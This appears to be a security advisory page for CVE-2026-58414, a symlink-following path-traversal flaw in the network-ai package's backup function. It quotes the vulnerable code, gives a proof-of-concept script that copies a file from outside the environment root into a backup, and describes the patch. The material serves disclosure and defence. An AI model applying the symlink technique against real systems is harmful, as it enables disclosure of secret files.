🛡️ CVE-2026-58414 — network-ai
Description
Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups
Summary
EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.
An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.
Details
backup() collects file paths and copies them into the backup directory:
```ts
const files = this._collectBackupFiles(envDir);
for (const rel of files) {
const src = join(envDir, rel);
const dst = join(backupPath, rel);
mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}
```
_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():
```ts
const info = statSync(full);
if (info.isDirectory()) {
walk(full, rel);
} else {
results.push(rel);
}
```
Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.
Affected source evidence:
lib/env-manager.ts:435-460— backup copy logic.lib/env-manager.ts:596-617— symlink-following_collectBackupFiles().bin/cli.ts:413-420— default CLI exposes backup creation.lib/env-manager.ts:294-297and483-484— backup also runs before promote/restore.
PoC
This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:
```bash
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');
fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');
const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');
console.log(JSON.stringify({
copied: fs.existsSync(copied),
content: fs.readFileSync(copied, 'utf8'),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
```
Observed result: copied is true and content is secret-through-symlink.
Impact
An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.
Weakness class
CVE-2026-58414 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
Affected software
CVE-2026-58414 is recorded against 2 packages.
- network-ai
- unknown
Timeline and source
Published on 19 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| network-ai | — | — |
| unknown | — | — |
References
Similar Threats
- Critical CVE-2026-54051
- Medium CVE-2026-58413
- Medium CVE-2026-58481
- Medium CVE-2026-58482
- High CVE-2026-58484
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
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